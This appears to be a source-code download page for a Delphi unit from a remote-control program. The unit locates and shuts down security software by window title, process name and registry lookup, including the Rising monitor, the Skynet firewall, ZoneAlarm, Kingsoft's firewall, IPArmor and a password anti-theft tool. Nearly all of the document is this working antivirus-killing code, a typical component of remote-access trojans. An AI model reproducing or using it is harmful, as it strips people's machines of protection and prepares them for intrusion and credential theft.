Other.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:3k
源码类别:

远程控制编程

开发平台:

Delphi

  1. unit Other;
  2. interface
  3. uses
  4.   Windows,Reg, sysutils2,tlhelp32;
  5. procedure Killer;
  6. procedure Killpro(s: string);
  7. implementation
  8. procedure KillZhuanJia;
  9. var
  10.   found: boolean;
  11.   s,path:string;
  12.   i:integer;
  13.   h,FindHandle: THandle;
  14.   FindData: TWin32FindData;
  15. begin
  16.   path:=ReadValue(HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionUninstall密码防盗专家 综合版','UninstallString');
  17.   if path='' then exit;
  18.   i:=pos(' ',path);
  19.   if i<>0 then delete(path,i,MaxInt);
  20.   path:=extractfilepath(Path);
  21.   FindHandle := FindFirstFile(PChar(path + '*.exe'), FindData);
  22.   s:='';
  23.   Found := FindHandle <> INVALID_HANDLE_VALUE;
  24.   while Found do begin //如果找到stg文件
  25. {    if (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0)or
  26.     (Ansicomparetext(FindData.cFileName,'UNWISE.EXE')=0)or
  27.     (Ansicomparetext(FindData.cFileName,'autoupdate.exe')=0)or
  28.     (Ansicomparetext(FindData.cFileName,'magic.exe')=0)then }
  29.     if ((FindData.cFileName[0]>='0')and(FindData.cFileName[0]<='9'))or
  30.        (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0) then
  31.     begin
  32.       h:=Integer(CreateFile(PChar(path+FindData.cFileName), GENERIC_WRITE,
  33.         0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0));
  34.       if h= INVALID_HANDLE_VALUE then
  35.       begin
  36.         s:=uppercase(FindData.cFileName);
  37.         //Messagebox(0,pchar(s),'',0);
  38.         KillPro(s);
  39.         if (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0) then
  40.           KillPro(uppercase('PasswordGuard.e'));
  41.       end
  42.       else CloseHandle(h);
  43.     end;
  44.     Found := FindNextFile(FindHandle, FindData);
  45.   end;
  46.   Windows.FindClose(FindHandle);
  47. end;
  48. procedure Killer;
  49. var
  50.   s, Desktop: integer;
  51.   str: array[0..100] of char;
  52. begin
  53.   s := findwindow(pchar('RavMonClass'), pchar('RavMon.exe'));
  54.   Sendmessage(s, $0010, 0, 0);
  55.   s := findwindow('Tapplication', '天网防火墙个人版');
  56.   Sendmessage(s, $0010, 0, 0);
  57.   s := findwindow('Tapplication', '天网防火墙企业版');
  58.   Sendmessage(s, $0010, 0, 0);
  59. {  s := 0;
  60.   Desktop := GetDesktopWindow;
  61.   repeat
  62.     s := findwindowex(Desktop, s, 'TForm1', nil);
  63.     getwindowtext(s, str, 9);
  64.     if str = '木马克星' then //IPARMOR.EXE
  65.       sendmessage(s, $0010, 0, 0);
  66.   until s = 0; }
  67.   s := 0;
  68.   Desktop := GetDesktopWindow;
  69.   repeat
  70.     s := findwindowex(Desktop, s, 'TForm1', nil);
  71.     getwindowtext(s, str, 7);
  72.     if str = '噬菌体' then
  73.       sendmessage(s, $0010, 0, 0);
  74.   until s = 0;
  75.   s := findwindow(pchar('TfLockDownMain'), nil);
  76.   Sendmessage(s, $0010, 0, 0);
  77.   s := findwindow(pchar('ZAFrameWnd'), pchar('ZoneAlarm'));
  78.   Sendmessage(s, $0010, 0, 0);
  79.   Killpro('EGHOST.EXE');
  80.   Killpro('MAILMON.EXE');
  81.   Killpro('KAVPFW.EXE');
  82.   Killpro('IPARMOR.EXE');
  83.   KillZhuanJia;
  84. end;
  85. procedure Killpro(s: string);
  86. var
  87.   lppe: tprocessentry32;
  88.   sshandle: thandle;
  89.   hh: hwnd;
  90.   found: boolean;
  91. begin
  92.   sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
  93.   found := process32first(sshandle, lppe);
  94.   while found do
  95.   begin
  96.     if (ansicomparetext(extractfilename(lppe.szExeFile) , s)=0) or
  97.       (ansicomparetext(lppe.szExeFile, s)=0) then
  98.     begin
  99.       hh := OpenProcess(PROCESS_ALL_ACCESS, true, lppe.th32ProcessID);
  100.       TerminateProcess(hh, 0);
  101.     end;
  102.     found := process32next(sshandle, lppe);
  103.   end;
  104.   CloseHandle(sshandle);
  105. end;
  106. end.